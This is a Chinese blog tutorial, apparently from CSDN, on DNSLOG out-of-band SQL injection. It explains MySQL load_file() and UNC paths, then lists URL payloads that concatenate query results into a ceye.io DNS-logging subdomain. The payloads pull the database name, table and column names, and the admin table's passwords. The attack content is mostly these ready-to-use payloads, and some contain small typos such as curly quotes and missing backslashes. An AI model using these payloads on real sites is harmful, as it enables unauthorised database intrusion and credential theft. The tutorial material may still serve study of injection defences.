DNSLOG 注入

DNSLOG 注入

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起DNS请求,这个时候就可以通过DNSlog把想获得的数据外带出来(带外查询)。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

一,load_file()函数解析
load_file()函数,读取文件并返回文件内容为字符串。
三个条件
1,指定服务器文件的绝对路径
2,目标文件为可读的file权限
3,文件内容不得超过默认1Mb大小
否则返回null
二,UNC路径
什么是UNC路径?

UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

例如softer计算机的名为it168的共享文件夹,用UNC表示就是\softer\it168。
我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。
三,DNSLOG注入实战
本次使用到的dnslog平台
http://ceye.io

payload:?id=1 and (select load_file(concat('\\\\',(select database()),'.snrbtv.ceye.io\\abc')))#

总结起来就是一个子查询,然后select load_file()打开文件,concat是拼接函数,\\+子查询出来的结果+.0cv5gr.ceye.io\abc
相当于数据库去访问\\+子查询出来的结果+.0cv5gr.ceye.io\abc的共享文件夹然后被DNS服务器记录下来
这里要注意的是and后面必须也要用括号包起来形成一个整体的子查询
在这里插入图片描述
查询到数据库名

payload:?id=1 and (select load_file(concat('',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.snrbtv.ceye.io//abc')))#

在这里插入图片描述
查表名

payload:?id=1 and (select load_file(concat('',(select table_name from information_schema.columns where table_schema='mangzhu' limit 0,1),'.snrbtv.ceye.io//abc')))#

在这里插入图片描述

查询密码
payload:?id=1 and (select load_file(concat(’’,(select password from admin),’.snrbtv.ceye.io//abc’)))#
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值